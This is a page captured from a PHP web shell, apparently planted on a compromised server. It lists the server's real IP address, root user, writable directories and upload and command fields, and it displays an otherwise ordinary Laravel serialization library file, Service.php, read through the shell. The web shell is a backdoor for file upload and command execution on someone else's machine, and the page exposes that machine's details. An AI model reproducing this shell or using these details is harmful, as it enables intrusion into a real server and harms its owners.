403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/vendor/anourvalar/eloquent-serialize/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/vendor/anourvalar/eloquent-serialize/src/Service.php
<?php

namespace AnourValar\EloquentSerialize;

use Illuminate\Database\Eloquent\Relations\Relation;

class Service
{
    use \AnourValar\EloquentSerialize\Grammars\ModelGrammar;
    use \AnourValar\EloquentSerialize\Grammars\EloquentBuilderGrammar;
    use \AnourValar\EloquentSerialize\Grammars\QueryBuilderGrammar;

    /**
     * Pack
     *
     * @param \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Eloquent\Relations\Relation $builder
     * @return string
     * @throws \RuntimeException
     */
    public function serialize(\Illuminate\Database\Eloquent\Builder|Relation $builder): string
    {
        if (
            $builder instanceof \Illuminate\Database\Eloquent\Relations\HasOne
            || $builder instanceof \Illuminate\Database\Eloquent\Relations\HasMany
            || $builder instanceof \Illuminate\Database\Eloquent\Relations\BelongsTo // as well as MorphTo
            || $builder instanceof \Illuminate\Database\Eloquent\Relations\MorphOne
        ) {
            $builder = $builder->getQuery(); // chaperone/inverse is not supported!
        }

        if ($builder instanceof Relation) {
            throw new \RuntimeException(get_class($builder) . ' cannot be packed.');
        }

        $package = $this->pack($builder);

        return serialize($package); // important!
    }

    /**
     * Unpack
     *
     * @param mixed $package
     * @throws \LogicException
     * @return \Illuminate\Database\Eloquent\Builder
     */
    public function unserialize($package): \Illuminate\Database\Eloquent\Builder
    {
        // Prepare data
        if (is_string($package)) {
            $package = unserialize($package);
        }
        if (! ($package instanceof Package)) {
            throw new \LogicException('Incorrect argument.');
        }

        // Unpack
        return $this->unpack($package);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit